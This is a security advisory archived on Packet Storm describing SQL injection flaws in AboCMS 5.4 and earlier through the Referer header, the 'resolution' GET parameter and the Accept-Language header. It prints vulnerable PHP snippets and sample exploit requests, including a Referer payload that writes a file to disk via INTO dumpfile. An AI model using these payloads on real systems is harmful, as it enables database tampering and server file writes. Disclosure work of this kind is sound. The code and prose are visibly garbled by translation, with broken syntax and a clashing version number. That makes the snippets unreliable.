we care because you do

AboCMS 5.4 SQL Injection

AboCMS 5.4 SQL Injection
Posted Mar 19, 2010
Authored by Vladimir Vorontsov

AboCMS versions 5.4 and below suffer from remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection
MD5 | 7fdfc0964d8f332a026ec0dc7e260ea6

AboCMS 5.4 SQL Injection

Change Mirror Download
[ONSEC-10-003] AboCMS SQL inj
Target: AboCMS <= 5.4 (fixpack unknown)
Type: SQL инъекция
Rist: Medium
Find date: 12.03.2010
Report date: 12.03.2010
Fix date: 17.03.2010
Author: Vladimir Vorontsov
OnSec Russian Security Group (onsec [dot] ru)
Original links: http://onsec.ru/vuln?id=19

In the popular content management system AboCMS version 5.2 found a
critical vulnerability. Errors allow an attacker to modify the query syntax
to the database.
It exists because of the lack of data filtering of HTTP headers and data
in the request variables.

1. Vulnerability in the header data HTTP Referer.

Exploitation of vulnerability is possible when the option rewrite_mod
settings management system. Vulnerable code:

$ url_info = parse_url ($ _SERVER [ 'HTTP_REFERER']);
if ($ CONFIG [ 'rewrite_mod']) (
$ link = @ $ url_info [ 'path']? preg_replace ( "/ ^ \ / (rus | ukr | blr
| de | frn | eng) \ /? / i", "", $ url_info [ 'path']): "";
/ *
$ amp_pos = strpos ($ link, "&");
$ link = FALSE! == $ amp_pos? substr ($ link, 0, $ amp_pos): $ link;

* /
if ($ link =='/') $ link = null;
$ by = 'address';
) Else (
$ link = array ();
parse_str (@ $ url_info [ 'query'], $ link);
$ link = (@ $ link [ 'link'] & & $ link [ 'link']!='/')? My_Sql::
escape ($ link [ 'link']):'';
$ by = 'link';
)

Implementation:


GET http://localhost/c.php HTTP/1.1

Referer: http://asd.asd/'/**/ INTO / ** / dumpfile /**/' C: / onsec.txt '


2. Vulnerability in the variable data resolution request GET.


Vulnerable code:

if (@ $ _GET [ 'resolution']) (
$ user_resolution = $ _GET [ 'resolution'];
) Else (
$ user_resolution = 'Another';
)

Implementation:


GET http://localhost/c.php?resolution = "injection / ** / to / ** / insert



3. Vulnerability in the header data HTTP Accept-Language


Vulnerable code:

$ user_lang = $ _SERVER [ 'HTTP_ACCEPT_LANGUAGE'];

Implementation:


GET http://localhost/c.php HTTP 1.1

Accept-language: "injection / ** / to / ** / insert

--
Best regards,
Vladimir Vorontsov
ONsec security expert

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    11 Files
  • 27
    May 27th
    8 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close